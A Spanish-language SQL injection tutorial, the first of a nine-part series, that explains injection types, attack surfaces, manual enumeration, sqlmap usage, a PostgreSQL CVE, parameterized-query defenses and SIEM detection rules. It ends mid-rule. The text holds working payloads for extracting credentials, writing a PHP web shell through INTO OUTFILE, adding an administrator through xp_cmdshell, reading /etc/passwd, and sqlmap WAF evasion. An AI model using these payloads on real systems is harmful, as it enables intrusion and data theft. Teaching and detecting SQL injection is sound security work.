SQL Injection — Tomo I: Anatomía de SQL Injection
Anatomía de la Vulnerabilidad que Lleva Dos Décadas en el Top 3 y Sigue Comprometiendo Gobiernos en 2026.
SQL Injection — Tomo I: Anatomía de la Vulnerabilidad que Lleva Dos Décadas en el Top 3 y Sigue Comprometiendo Gobiernos en 2026
Categoría: Web Hacking · SQL Injection · Database Security
Nivel: Básico → Intermedio
Tiempo de lectura: 22 min
Serie: SQL Injection Completo — 9 Tomos | Tomo 1 de 9 · Trilogía 1 (Fundamentos y Clásicos)
MITRE ATT&CK: T1190 — Exploit Public-Facing Application · T1505.003 — Web Shell
CWE: CWE-89 — Improper Neutralization of Special Elements in SQL Commands
Laboratorio asociado: CP05 · Labs SQLi-F01 al SQLi-F05 · TribuCibernetica Cyber Range
"En enero de 2025, un atacante explotó una vulnerabilidad de SQL Injection en PostgreSQL para penetrar la plataforma BeyondTrust Remote Support. La cadena de intrusión terminó en el Departamento del Tesoro de los Estados Unidos. La vulnerabilidad: manejo inadecuado de input del usuario en una consulta de base de datos. El mismo problema que Bobby Tables hizo famoso en un webcomic hace veinte años."
El Problema con Cómo se Enseña SQL Injection
Busca "SQL Injection tutorial" en cualquier idioma. Lo que encuentras invariablemente es esto:
' OR '1'='1
Una comilla. Un OR. Una condición que siempre es verdadera. Y la conclusión implícita de que si entiendes esa línea, entiendes SQL Injection.
No la entiendes.
Esa línea es el equivalente a entender qué es un incendio porque alguien te mostró una cerilla encendida. La cerilla es real. El fuego es real. Pero no te dice nada sobre cómo se propaga, cómo consume una estructura, cómo encontrar el origen, o cómo extinguirlo antes de que sea demasiado tarde.
La creencia general en la comunidad de seguridad es que SQL Injection es un problema obsoleto, resuelto a principios de los 2000s, del que los desarrolladores ya no necesitan preocuparse. Esta suposición es incorrecta. SQL Injection es una de las vulnerabilidades más comunes identificadas en programas de bug bounty en 2026, y casi siempre es de severidad crítica o alta.Este tomo existe para llenar ese hueco. No empieza con payloads — empieza con el modelo mental correcto. Sin ese modelo, los payloads son fórmulas sin comprensión. Con él, puedes derivar tus propios payloads para contextos que ninguna cheat sheet cubre.
Índice
- Por qué SQL Injection no está resuelto — el estado real en 2026
- El modelo mental correcto: qué ocurre exactamente cuando hay inyección
- La anatomía de una consulta SQL vulnerable
- Los cuatro tipos de SQL Injection y cuándo aplica cada uno
- Superficies de ataque: todos los puntos donde el input del usuario puede llegar a una consulta
- In-Band SQLi: Error-Based — cuando la base de datos habla demasiado
- In-Band SQLi: Union-Based — convirtiendo la app en un cliente de base de datos
- El proceso de enumeración manual: de la inyección a los datos
- Metodología de detección: cómo encontrar SQLi antes de lanzar payloads
- sqlmap — qué hace bien, qué hace mal, y cuándo usarlo
- Impacto real: qué puede hacer un atacante con SQLi confirmado
- CVE-2025-1094: el PostgreSQL que comprometió al Tesoro de los Estados Unidos
- Defensa: por qué los ORMs reducen el riesgo pero no lo eliminan
- Detección defensiva: reglas SIEM para identificar SQLi en logs
- Laboratorio en el Cyber Range
- Lo que viene en el Tomo 2
1. Por Qué SQL Injection No Está Resuelto — El Estado Real en 2026
SQL Injection ha sido la vulnerabilidad #1 o #3 de OWASP durante casi dos décadas. Debería estar resuelto. No lo está.Las razones son estructurales, no de negligencia:
Deuda técnica masiva. El código legacy que procesa input sin parametrizar fue escrito antes de que las mejores prácticas actuales existieran, y reescribirlo es costoso. Ese código sigue en producción.
ORMs que dan falsa seguridad. Frameworks como Django, Hibernate y Entity Framework parametrizan consultas por defecto, lo que lleva a muchos equipos a asumir que la inyección es simplemente imposible en su stack. No lo es. En el momento en que un developer recurre a una consulta raw, pasa un nombre de campo controlado por el usuario, o usa un método de API inseguro, la protección desaparece.
Código generado por IA. La segunda fuente de crecimiento más rápido de SQL Injection en 2026 no es una nueva clase de vulnerabilidad — es el código generado por herramientas de IA que reintroduce patrones de concatenación de strings inseguros que los developers creen que el modelo "ya sabe evitar". No siempre lo sabe.
Superficie en expansión. Las APIs REST, GraphQL, microservicios, y funciones serverless han multiplicado la cantidad de puntos donde el input del usuario puede alcanzar una consulta de base de datos. Más superficie, más oportunidades de error.
El resultado práctico: en 2025, un atacante explotó SQLi para comprometer infraestructura del gobierno de los Estados Unidos. En mayo de 2025, un portal gubernamental fue vulnerado via SQL Injection exponiendo datos sensibles de ciudadanos. La vulnerabilidad PostgreSQL CVE-2025-1094, descubierta en febrero de 2025 con CVSS 8.1, bypaseó rutinas de escape de strings consideradas seguras.
SQL Injection no es historia. Es el presente.
2. El Modelo Mental Correcto: Qué Ocurre Exactamente Cuando Hay Inyección
Para entender SQL Injection en profundidad, necesitas entender el problema desde la perspectiva del intérprete SQL — no del developer ni del atacante.
El contrato roto entre código y datos
Una aplicación web bien construida mantiene una separación estricta entre dos elementos:
CÓDIGO (estructura de la consulta) vs. DATOS (valores que procesa la consulta)
-- Código (estructura):
SELECT * FROM usuarios WHERE email = ? AND password = ?
-- Datos (valores):
'usuario@empresa.com', 'mi_contraseña_segura'
Cuando esa separación existe y se mantiene mediante consultas parametrizadas, el intérprete SQL nunca confunde los datos con el código. El valor 'usuario@empresa.com' se trata como un string opaco — nunca como instrucciones SQL.
SQL Injection ocurre cuando esa separación no existe. Cuando el código y los datos se mezclan mediante concatenación de strings:
# Python — código VULNERABLE
query = "SELECT * FROM usuarios WHERE email = '" + email + "' AND password = '" + password + "'"
# El intérprete SQL no puede distinguir dónde termina el "código" y dónde empiezan los "datos"
En ese momento, el atacante puede proveer datos que el intérprete interpreta como código. El contrato está roto. La consulta es controlable desde fuera.
El intérprete SQL no tiene opiniones morales
Esta es la comprensión más importante del modelo mental: el intérprete SQL ejecuta cualquier SQL válido que recibe, independientemente de la intención con la que fue construido.
Si el atacante logra que la consulta diga DROP TABLE usuarios, el intérprete ejecuta DROP TABLE usuarios. No evalúa si esa instrucción "debería" existir en el contexto de la aplicación. No tiene capacidad de distinguir instrucciones legítimas de instrucciones inyectadas. Su único criterio es la validez sintáctica del SQL.
Esa neutralidad del intérprete es la razón por la que SQL Injection es tan poderoso y tan difícil de defender sin separación estricta de código y datos.
3. La Anatomía de una Consulta SQL Vulnerable
Diseccionemos el flujo completo con tráfico HTTP real, código del servidor, y la consulta que llega a la base de datos.
El flujo normal (sin ataque)
POST /login HTTP/1.1
Host: aplicacion.com
Content-Type: application/x-www-form-urlencoded
email=usuario%40empresa.com&password=MiPassword123
# Código del servidor (Python/Flask) — VULNERABLE
@app.route('/login', methods=['POST'])
def login():
email = request.form['email'] # → "usuario@empresa.com"
password = request.form['password'] # → "MiPassword123"
# Construcción de consulta por concatenación — EL PROBLEMA
query = f"SELECT id, nombre, rol FROM usuarios WHERE email = '{email}' AND password = '{password}'"
resultado = db.execute(query)
if resultado:
return redirect('/dashboard')
else:
return "Credenciales incorrectas", 401
-- Consulta que llega a la base de datos:
SELECT id, nombre, rol FROM usuarios
WHERE email = 'usuario@empresa.com' AND password = 'MiPassword123'
Todo funciona como se espera. La consulta devuelve el usuario si existe con esas credenciales.
El flujo bajo ataque
POST /login HTTP/1.1
Host: aplicacion.com
Content-Type: application/x-www-form-urlencoded
email=admin%40empresa.com'--&password=cualquiercosa
El servidor recibe:
email=admin@empresa.com'--password=cualquiercosa
La consulta construida por concatenación:
SELECT id, nombre, rol FROM usuarios
WHERE email = 'admin@empresa.com'--' AND password = 'cualquiercosa'
El intérprete SQL procesa esto como:
SELECT id, nombre, rol FROM usuarios
WHERE email = 'admin@empresa.com'
-- ' AND password = 'cualquiercosa' ← comentario, ignorado
Resultado: La condición AND password = '...' ha sido eliminada. La consulta devuelve el usuario admin@empresa.com sin verificar la contraseña. Authentication bypass completo.
Los tres caracteres que debes conocer
' -- Termina el string actual — el más importante
-- -- Comentario en SQL (MySQL, MSSQL, PostgreSQL, Oracle)
# -- Comentario en MySQL
/* */ -- Comentario de bloque (todos los motores)
; -- Termina la consulta actual (para stacked queries)
Estos caracteres son los que el developer debería haber escapado o, mejor, evitado completamente mediante parametrización.
4. Los Cuatro Tipos de SQL Injection y Cuándo Aplica Cada Uno
La taxonomía importa porque determina la técnica de explotación. No es lo mismo tener output visible que no tenerlo.
┌─────────────────────────────────────────────────────────────────┐
│ TAXONOMÍA DE SQL INJECTION │
├─────────────────┬───────────────────────────────────────────────┤
│ In-Band │ El resultado de la consulta viaja por el │
│ (canal directo)│ mismo canal HTTP que el request original │
│ │ │
│ ├─ Error-Based│ Los mensajes de error del motor SQL │
│ │ │ revelan información de la base de datos │
│ │ │ │
│ └─ Union-Based│ La instrucción UNION SELECT agrega filas │
│ │ de otras tablas al resultado visible │
├─────────────────┼───────────────────────────────────────────────┤
│ Blind │ La aplicación no muestra resultados ni errores│
│ (canal ciego) │ — el atacante infiere datos por comportamiento│
│ │ │
│ ├─ Boolean │ La aplicación responde diferente según si │
│ │ Based │ una condición es TRUE o FALSE │
│ │ │ │
│ └─ Time Based │ El atacante mide el tiempo de respuesta para │
│ │ inferir información (SLEEP, WAITFOR DELAY) │
├─────────────────┼───────────────────────────────────────────────┤
│ Out-of-Band │ Los datos se exfiltran por un canal diferente │
│ │ (DNS lookup, HTTP request del servidor) │
│ │ — cuando los otros métodos no funcionan │
└─────────────────┴───────────────────────────────────────────────┘
¿Cuál usar? El árbol de decisión es simple:
¿La respuesta HTTP incluye datos de la BD directamente?
├── SÍ → In-Band
│ ├── ¿Hay mensajes de error SQL visibles? → Error-Based
│ └── ¿No hay errores pero sí output? → Union-Based
└── NO → Blind
├── ¿La respuesta cambia según condición TRUE/FALSE? → Boolean-Based
├── ¿No hay diferencia en respuesta? → Time-Based
└── ¿El entorno permite conexiones salientes del servidor? → Out-of-Band
Este tomo cubre In-Band. Los Tomos 2 y 3 cubren Blind y Out-of-Band respectivamente.
5. Superficies de Ataque: Todos los Puntos Donde el Input Llega a una Consulta
El error más común en hunting de SQLi es limitar la búsqueda a campos de formulario. La superficie real es considerablemente más amplia.
Superficies directas (input explícito del usuario)
| Vector | Ejemplos concretos | Probabilidad SQLi |
|---|---|---|
| Parámetros GET | ?id=1, ?search=laptop, ?categoria=tech | Alta |
| Campos de formulario POST | Login, búsqueda, filtros, registro | Alta |
| Parámetros de path | /usuarios/123, /productos/laptop-gamer | Media |
| Headers HTTP | User-Agent, X-Forwarded-For, Referer, Cookie | Media-Alta |
| JSON en APIs REST | {"buscar": "laptops", "categoria": "tech"} | Alta |
| Variables GraphQL | query { producto(id: "1") { nombre } } | Alta |
| WebSocket messages | Mensajes con datos que van a BD | Media |
| XML/SOAP payloads | Servicios legacy con XML bodies | Alta en legacy |
Superficies indirectas (input que llega a la BD sin pasar directamente por el usuario)
Estos son los más ignorados y frecuentemente los más vulnerables:
- Importación de datos: CSVs, XMLs, JSONs que el admin sube y el sistema procesa
- Feeds externos: RSS, APIs de terceros cuyos datos se almacenan y consultan
- Nombres de archivos subidos: Si el nombre del archivo se usa en consultas
- Valores de cookies: Especialmente session identifiers o preferencias de usuario
- Cabeceras de autenticación: JWT claims que se consultan contra la BD
- Parámetros de ordenación y filtrado:
?orden=precio&direccion=ASC— el campo de ordenación es especialmente peligroso
El vector más subestimado en 2026: APIs GraphQL
Los breaches reales en 2025 frecuentemente se originan desde estas superficies ignoradas: parámetros dentro de endpoints/search, /filter, o queries GraphQL anidadas.
# Query GraphQL vulnerable
query {
productos(categoria: "' UNION SELECT username, password FROM usuarios--") {
nombre
precio
}
}
Si el resolver de GraphQL construye la consulta SQL por concatenación, el campo categoria es un vector de inyección tan válido como cualquier parámetro GET.
6. In-Band SQLi: Error-Based — Cuando la Base de Datos Habla Demasiado
Error-Based SQLi es la variante más directa: el atacante provoca deliberadamente errores en la base de datos y lee la información que los mensajes de error revelan.
¿Por qué los mensajes de error revelan información?
Cuando un query SQL falla, el motor de base de datos genera un mensaje de error que incluye contexto técnico: el nombre de la tabla, el nombre de la columna, el tipo de dato esperado, o incluso el valor que causó el error. Si ese mensaje llega al usuario sin filtrar, el atacante tiene una ventana directa al schema de la base de datos.
Detección: el probe inicial
-- Paso 1: Verificar si la aplicación refleja errores SQL
-- Inyectar una comilla simple en cada parámetro candidato
'
-- Si la respuesta HTTP incluye texto como:
-- "You have an error in your SQL syntax"
-- "ORA-00907: missing right parenthesis"
-- "Unclosed quotation mark after the character string"
-- "ERROR: unterminated quoted string at or near"
-- → El parámetro es vulnerable y los errores son visibles
Extracción de información con Error-Based (MySQL)
La técnica clásica usa funciones que fuerzan al motor a incluir valores en el mensaje de error:
-- Obtener versión del motor de base de datos
' AND extractvalue(1, concat(0x7e, version()))--
-- Error esperado: XPATH syntax error: '~8.0.32'
-- 0x7e = '~' en hex — delimitador para leer el valor en el error
-- Obtener nombre de la base de datos actual
' AND extractvalue(1, concat(0x7e, database()))--
-- Error: XPATH syntax error: '~nombre_base_datos'
-- Obtener usuario actual de MySQL
' AND extractvalue(1, concat(0x7e, user()))--
-- Error: XPATH syntax error: '~root@localhost'
-- Listar todas las tablas de la base de datos actual
' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))--
-- Error: XPATH syntax error: '~usuarios,productos,pedidos,sesiones'
-- Listar columnas de la tabla 'usuarios'
' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='usuarios')))--
-- Error: XPATH syntax error: '~id,email,password,rol,created_at'
-- Extraer credenciales
' AND extractvalue(1, concat(0x7e, (SELECT concat(email,0x3a,password) FROM usuarios LIMIT 1)))--
-- Error: XPATH syntax error: '~admin@empresa.com:$2b$12$hashed_password'
Variantes por motor de base de datos
-- MySQL (extractvalue, updatexml)
' AND extractvalue(1, concat(0x7e, version()))--
' AND updatexml(1, concat(0x7e, version()), 1)--
-- MSSQL (conversión de tipos)
' CONVERT(int, @@version)--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
-- PostgreSQL (cast)
' AND CAST(version() AS int)--
-- Error: invalid input syntax for type integer: "PostgreSQL 15.2..."
-- Oracle (xmltype)
' AND 1=xmltype('<x>'||(SELECT banner FROM v$version WHERE rownum=1)||'</x>')--
Limitación de Error-Based
La longitud máxima del mensaje de error en MySQL via extractvalue es de 32 caracteres. Para datos más largos, necesitas paginar con SUBSTRING():
-- Extraer datos largos en fragmentos de 30 caracteres
' AND extractvalue(1, concat(0x7e, SUBSTRING(version(),1,30)))--
' AND extractvalue(1, concat(0x7e, SUBSTRING(version(),31,30)))--
7. In-Band SQLi: Union-Based — Convirtiendo la App en un Cliente de Base de Datos
Union-Based SQLi usa la instrucción UNION SELECT para agregar filas adicionales al resultado de la consulta original. Si la aplicación muestra esas filas, el atacante puede leer cualquier dato de la base de datos directamente en la respuesta HTTP.
El requisito técnico: número y tipo de columnas
Para que UNION SELECT funcione, la consulta inyectada debe tener el mismo número de columnas que la consulta original, y los tipos de datos deben ser compatibles.
Paso 1: Determinar el número de columnas con ORDER BY
-- Incrementar el número de ORDER BY hasta obtener error
' ORDER BY 1-- -- Sin error → al menos 1 columna
' ORDER BY 2-- -- Sin error → al menos 2 columnas
' ORDER BY 3-- -- Sin error → al menos 3 columnas
' ORDER BY 4-- -- ERROR → la consulta original tiene 3 columnas
Cuando ORDER BY N produce un error y ORDER BY N-1 no, la consulta tiene N-1 columnas.
Paso 2: Encontrar columnas que se muestran en la respuesta
No todas las columnas del resultado se muestran necesariamente en el HTML. Necesitas identificar cuáles sí se muestran:
-- Con 3 columnas, probar cuáles se reflejan en la respuesta
' UNION SELECT 'TC_COL1', 'TC_COL2', 'TC_COL3'--
-- Si la respuesta muestra "TC_COL2", la segunda columna es visible
Paso 3: Extraer datos con la columna visible identificada
-- Versión del motor de BD
' UNION SELECT NULL, version(), NULL--
-- Base de datos actual
' UNION SELECT NULL, database(), NULL--
-- Todas las tablas
' UNION SELECT NULL, GROUP_CONCAT(table_name SEPARATOR ', '), NULL
FROM information_schema.tables
WHERE table_schema=database()--
-- Columnas de la tabla 'usuarios'
' UNION SELECT NULL, GROUP_CONCAT(column_name SEPARATOR ', '), NULL
FROM information_schema.columns
WHERE table_name='usuarios'--
-- Credenciales completas
' UNION SELECT NULL, concat(email, ':', password), NULL
FROM usuarios
LIMIT 1--
-- Todos los usuarios en una sola respuesta
' UNION SELECT NULL, GROUP_CONCAT(email, ':', password SEPARATOR ' | '), NULL
FROM usuarios--
La cadena completa: de un parámetro vulnerable a credenciales extraídas
1. Detectar: ?id=1' → Error SQL visible ✓
2. Contar columnas: ?id=1 ORDER BY 3-- → OK / ORDER BY 4-- → Error ✓ (3 columnas)
3. Identificar columna visible: ?id=-1 UNION SELECT 'A','B','C'-- → "B" en respuesta ✓
4. Extraer BD: ?id=-1 UNION SELECT NULL,database(),NULL-- → "tienda_produccion"
5. Extraer tablas: ?id=-1 UNION SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema='tienda_produccion'-- → "usuarios,productos,pedidos"
6. Extraer columnas: ?id=-1 UNION SELECT NULL,GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='usuarios'-- → "id,email,password,rol"
7. Extraer credenciales: ?id=-1 UNION SELECT NULL,GROUP_CONCAT(email,':',password),NULL FROM usuarios--
Ese flujo, ejecutado manualmente en 15-30 minutos, extrae la base de datos completa de credenciales.
8. El Proceso de Enumeración Manual: De la Inyección a los Datos
La enumeración sistemática es lo que distingue un pentest profesional de ejecutar sqlmap sin entender los resultados.
El árbol de enumeración universal
FASE 1 — RECONOCIMIENTO DEL ENTORNO
├── @@version / version() → Motor y versión específica
├── database() / db_name() → Base de datos activa
├── user() / current_user() → Usuario de BD (permisos)
└── @@datadir / data_home_dir → Ruta del filesystem (para INTO OUTFILE)
FASE 2 — ENUMERACIÓN DE ESTRUCTURA
├── information_schema.schemata → Todas las bases de datos
├── information_schema.tables → Todas las tablas de la BD activa
└── information_schema.columns → Todas las columnas de una tabla
FASE 3 — EXTRACCIÓN DE DATOS
├── SELECT directo en tablas de negocio
├── GROUP_CONCAT para múltiples filas en una respuesta
└── SUBSTRING + LIMIT para paginación
FASE 4 — ESCALADA (si el usuario de BD tiene permisos)
├── Leer archivos del servidor: LOAD_FILE('/etc/passwd')
├── Escribir archivos: INTO OUTFILE '/var/www/shell.php'
└── Ejecutar comandos: xp_cmdshell (MSSQL) / UDFs (MySQL)
Identificación del motor por comportamiento
Antes de lanzar payloads, identificar el motor de base de datos ahorra tiempo y errores:
-- Probe 1: Funciones de concatenación (comportamiento diferente por motor)
' UNION SELECT 'a'||'b', NULL-- -- PostgreSQL / Oracle (concatenación con ||)
' UNION SELECT CONCAT('a','b'), NULL-- -- MySQL (CONCAT())
' UNION SELECT 'a'+'b', NULL-- -- MSSQL (+ para strings)
-- Probe 2: Comentarios
'-- -- MySQL, MSSQL, PostgreSQL
'# -- Solo MySQL
'/*comentario*/ -- Todos
-- Probe 3: Funciones de sleep (para confirmar motor en Blind)
'; SELECT SLEEP(5)-- -- MySQL
'; WAITFOR DELAY '0:0:5'-- -- MSSQL
'; SELECT pg_sleep(5)-- -- PostgreSQL
'; SELECT 1 FROM DUAL WHERE 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1-- -- Oracle
9. Metodología de Detección: Cómo Encontrar SQLi Antes de Lanzar Payloads
Cuando un input parece que podría interactuar con la base de datos — campos de login, barras de búsqueda, filtros, IDs, campos ocultos — empieza con algunos probes inofensivos pero reveladores. El objetivo no es borrar tablas, sino ver si la app se comporta diferente cuando la consulta se rompe o cambia de lógica.Fase 1: Mapeo de entrada
Antes de inyectar, documentar todos los parámetros que podrían llegar a la base de datos. Usar Burp Suite para capturar todo el tráfico y exportar la lista de endpoints con parámetros.
Fase 2: Probes de detección pasiva
-- Probe 1: Comilla simple (rompe el string)
'
-- Respuesta esperada si es vulnerable: error 500, mensaje de error SQL, comportamiento anómalo
-- Probe 2: Doble comilla (alternativa en algunos contextos)
"
-- Probe 3: Comentario sin cerrar (prueba de parsing)
'--
'#
-- Probe 4: Operaciones matemáticas (detecta contexto numérico)
-- En parámetros numéricos como ?id=1
1 AND 1=1 -- Debería comportarse igual que id=1
1 AND 1=2 -- Debería comportarse diferente (sin resultados)
1-1 -- Si devuelve lo mismo que id=0 → posible contexto numérico
-- Probe 5: Tautología clásica (para contextos de string)
' OR '1'='1
' OR 1=1--
Fase 3: Confirmar y clasificar
Si los probes generan comportamiento anómalo, confirmar el tipo:
-- Confirmar In-Band Error-Based:
-- ¿Aparece texto de error SQL en la respuesta?
-- Confirmar In-Band Union-Based:
' UNION SELECT NULL-- -- Sin error → posiblemente vulnerable
' UNION SELECT NULL, NULL-- -- Incrementar hasta encontrar el número correcto
-- Confirmar Blind Boolean-Based:
-- El parámetro ?id=1 y ?id=1 AND 1=1 deberían dar el mismo resultado
-- El parámetro ?id=1 AND 1=2 debería dar resultado vacío o diferente
-- Confirmar Time-Based:
' AND SLEEP(5)-- -- Si la respuesta tarda 5 segundos → vulnerable
10. sqlmap — Qué Hace Bien, Qué Hace Mal, y Cuándo Usarlo
sqlmap es la herramienta de automatización de SQL Injection más completa disponible. Usarla sin entender el proceso manual es un error; usarla después de entender el proceso manual es una ventaja.
Cuándo sqlmap agrega valor
# Verificación rápida de un parámetro sospechoso
sqlmap -u "https://objetivo.com/producto?id=1" --dbs
# Con sesión autenticada
sqlmap -u "https://objetivo.com/api/buscar?q=laptop" \
--cookie "session=abc123; csrf=xyz789" \
--dbs
# Desde un request capturado en Burp (la forma más precisa)
# Guardar la request en burp_request.txt, luego:
sqlmap -r burp_request.txt --dbs --level=3 --risk=2
# Extraer una tabla específica
sqlmap -r burp_request.txt -D nombre_bd -T usuarios --dump
# Para headers HTTP como vectores
sqlmap -u "https://objetivo.com/" \
--headers="User-Agent: *\nX-Forwarded-For: *" \
--level=5
Los límites reales de sqlmap
Las herramientas automáticas como sqlmap pueden ayudar con la detección, aunque es más útil saber testear manualmente. Las herramientas automáticas pasarán por alto inyecciones basadas en contexto que un tester humano identificaría.Específicamente, sqlmap falla o tiene dificultades con:
- Second-Order SQLi — el payload se almacena y se ejecuta en otro contexto
- SQLi en lógica de negocio compleja — cuando el comportamiento anómalo requiere comprensión del flujo de la app
- SQLi en GraphQL — soporte limitado para queries GraphQL complejas
- SQLi en JSON anidado — el payload necesita escapar correctamente del JSON
- Aplicaciones con WAFs agresivos — sqlmap es ruidoso y se bloquea rápido
- SQLi basado en el orden de resultados —
ORDER BYinjection sin output visible
En entornos con WAF, sqlmap con --tamper scripts ayuda pero no elimina el problema:
# Tamper scripts más útiles para evasión de WAF
sqlmap -r request.txt --tamper=space2comment,between,randomcase --dbs
# space2comment: reemplaza espacios con /**/
# between: reemplaza > con NOT BETWEEN 0 AND
# randomcase: mezcla mayúsculas y minúsculas en keywords SQL
11. Impacto Real: Qué Puede Hacer un Atacante con SQLi Confirmado
La severidad de SQL Injection no es uniforme — escala con los permisos del usuario de base de datos y la configuración del servidor.
Nivel 1: Acceso de lectura a datos (el mínimo)
Cualquier SQLi confirmado permite leer datos de las tablas accesibles al usuario de BD:
-- Credenciales de usuarios
SELECT email, password FROM usuarios
-- Datos personales (PII)
SELECT nombre, apellido, dni, telefono, direccion FROM clientes
-- Datos financieros
SELECT numero_tarjeta, cvv, fecha_expiracion FROM pagos
-- Tokens de sesión
SELECT token, usuario_id, expira_en FROM sesiones WHERE expira_en > NOW()
Robar tokens de sesión activos permite account takeover inmediato sin necesidad de crackear passwords.
Nivel 2: Modificación de datos
-- Cambiar contraseña de admin
UPDATE usuarios SET password = 'nuevo_hash' WHERE rol = 'admin' LIMIT 1
-- Escalar privilegios propios
UPDATE usuarios SET rol = 'admin' WHERE email = 'atacante@evil.com'
-- Crear cuenta admin nueva
INSERT INTO usuarios (email, password, rol) VALUES ('back@evil.com', 'hash', 'admin')
-- Eliminar registros (destrucción de datos)
DELETE FROM logs WHERE fecha < '2026-01-01' -- Borrar evidencia
Nivel 3: Acceso al filesystem (si el usuario de BD tiene permisos)
-- MySQL: leer archivos del servidor
SELECT LOAD_FILE('/etc/passwd')
SELECT LOAD_FILE('/var/www/html/config.php') -- Credenciales de BD en texto plano
-- MySQL: escribir archivos (si tiene permisos de escritura en el webroot)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
-- Esto crea un web shell accesible via HTTP
Nivel 4: Ejecución de comandos del sistema operativo
-- MSSQL: xp_cmdshell (si está habilitado o el usuario tiene permisos para habilitarlo)
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'net user atacante Password123! /add'
EXEC xp_cmdshell 'net localgroup administrators atacante /add'
-- MySQL: UDFs (User Defined Functions) cargadas desde un shared library maliciosa
-- Requiere FILE privilege y capacidad de escribir en el plugin directory
-- Es el path de escalada de MySQL a RCE más documentado
El escalado de SQLi a RCE en el servidor es cubierto en detalle en el Tomo 8 de esta serie.
12. CVE-2025-1094: El PostgreSQL que Comprometió al Tesoro de los Estados Unidos
Este caso es el ejemplo más importante del estado actual de SQL Injection en infraestructura crítica.
En enero de 2025, atacantes explotaron una falla de SQL Injection en PostgreSQL (CVE-2025-1094) para penetrar la plataforma BeyondTrust Remote Support. La cadena de intrusión terminó en el Departamento del Tesoro de los Estados Unidos. CVE-2025-1094, descubierta en febrero de 2025 con CVSS 8.1, bypasseó rutinas de escape de strings consideradas seguras en PostgreSQL.El mecanismo técnico
La vulnerabilidad estaba en el manejo de input en el terminal interactivo psql de PostgreSQL. El escape de ciertos caracteres Unicode multibyte no funcionaba correctamente, permitiendo que secuencias de caracteres que deberían tratarse como datos terminaran interpretándose como metacaracteres SQL.
Input del atacante: [secuencia Unicode especial que incluye ' escapado incorrectamente]
Resultado: el caracter ' "escapa" del contexto de datos y se convierte en metacaracter SQL
Efecto: ejecución de SQL arbitrario en el motor PostgreSQL
Lo que enseña este CVE
Primero, las rutinas de escape no son equivalentes a la parametrización. La parametrización elimina estructuralmente la posibilidad de confusión entre código y datos. El escape intenta transformar los datos para que no sean confundidos con código — y puede fallar en edge cases.
Segundo, las bases de datos consideradas "seguras por configuración" no son inmunes. PostgreSQL tiene reputación de robustez. CVE-2025-1094 demuestra que las vulnerabilidades de inyección pueden ocurrir a nivel del motor mismo.
Tercero, la cadena de impacto puede escalar dramáticamente. Una vulnerabilidad en un componente (psql) comprometió una plataforma (BeyondTrust) que comprometió infraestructura gubernamental (US Treasury). La inyección SQL fue el punto de entrada — no el único componente de la brecha.
13. Defensa: Por Qué los ORMs Reducen el Riesgo pero No lo Eliminan
La defensa correcta: consultas parametrizadas
# VULNERABLE — concatenación de strings
query = f"SELECT * FROM usuarios WHERE email = '{email}'"
db.execute(query)
# CORRECTO — consulta parametrizada
query = "SELECT * FROM usuarios WHERE email = %s"
db.execute(query, (email,))
# El motor de BD recibe el string email como dato opaco, nunca como código
// Node.js con MySQL — VULNERABLE
db.query(`SELECT * FROM usuarios WHERE id = ${userId}`);
// CORRECTO — prepared statement
db.query('SELECT * FROM usuarios WHERE id = ?', [userId]);
// Java — VULNERABLE
String query = "SELECT * FROM usuarios WHERE email = '" + email + "'";
Statement stmt = conn.createStatement();
stmt.executeQuery(query);
// CORRECTO — PreparedStatement
String query = "SELECT * FROM usuarios WHERE email = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, email);
stmt.executeQuery();
Por qué los ORMs no son garantía absoluta
Django's CVE-2024-42005 permitió SQL Injection a través de claves JSON maliciosamente construidas pasadas a un método.values() considerado "seguro". Los ORMs reducen el riesgo — no lo eliminan.
Los escape hatches que los ORMs exponen y que los developers usan cuando necesitan "más control":
# Django — VULNERABLE: raw() con concatenación
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{username}'")
# Django — VULNERABLE: extra() con datos del usuario
User.objects.extra(where=[f"username = '{username}'"])
# SQLAlchemy — VULNERABLE: text() con concatenación
db.execute(text(f"SELECT * FROM usuarios WHERE email = '{email}'"))
# Sequelize — VULNERABLE: query() con concatenación
sequelize.query(`SELECT * FROM usuarios WHERE id = ${userId}`)
Todos los ejemplos anteriores son SQLi activo aunque se usen dentro de un ORM. La parametrización debe aplicarse incluso dentro de los ORMs cuando se usa SQL raw.
14. Detección Defensiva: Reglas SIEM para Identificar SQLi en Logs
Un Blue Teamer que lee este artículo necesita saber no solo cómo ocurre el ataque, sino cómo detectarlo en logs de producción.
Patrones en logs de acceso HTTP
# grep sobre logs de Nginx/Apache — detectar probes comunes de SQLi
grep -E "(%27|'|%22|\"|%3B|;|%28|%29|\(|\)|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|SLEEP|WAITFOR|BENCHMARK)" /var/log/nginx/access.log
# Detectar caracteres de comentario SQL en parámetros
grep -E "(%2D%2D|--|%23|#|\/\*)" /var/log/nginx/access.log
# Detectar secuencias de UNION SELECT (case insensitive)
grep -iE "(UNION\s+SELECT|UNION\s+ALL\s+SELECT)" /var/log/nginx/access.log
Regla de detección para Splunk
index=web_logs sourcetype=access_combined
| rex field=uri "(?<sqli_probe>['\"\-\-\#;()\bUNION\b\bSELECT\b\bSLEEP\b\bWAITFOR\b])"
| where isnotnull(sqli_probe)
| eval severity=case(
match(uri, "(?i)(UNION\s+SELECT|SLEEP\s*\(|WAITFOR\s+DELAY)"), "HIGH",
match(uri, "(?i)(information_schema|sys\.tables|pg_catalog)"), "HIGH",
match(uri, "('|\"|;|--)"), "MEDIUM",
true(), "LOW"
)
| stats count by src_ip, uri, severity, _time
| where count > 5
| sort -count
Regla de detección para Elastic/OpenSearch (ECS)
{
"query": {
"bool": {
"should": [
{"regexp": {"url.query": ".*(%27|%22|UNION|SELECT|SLEEP|WAITFOR).*"}},
{"regexp": {"http.request.body.content": ".*(information_schema|sys\\.tables).*"}},
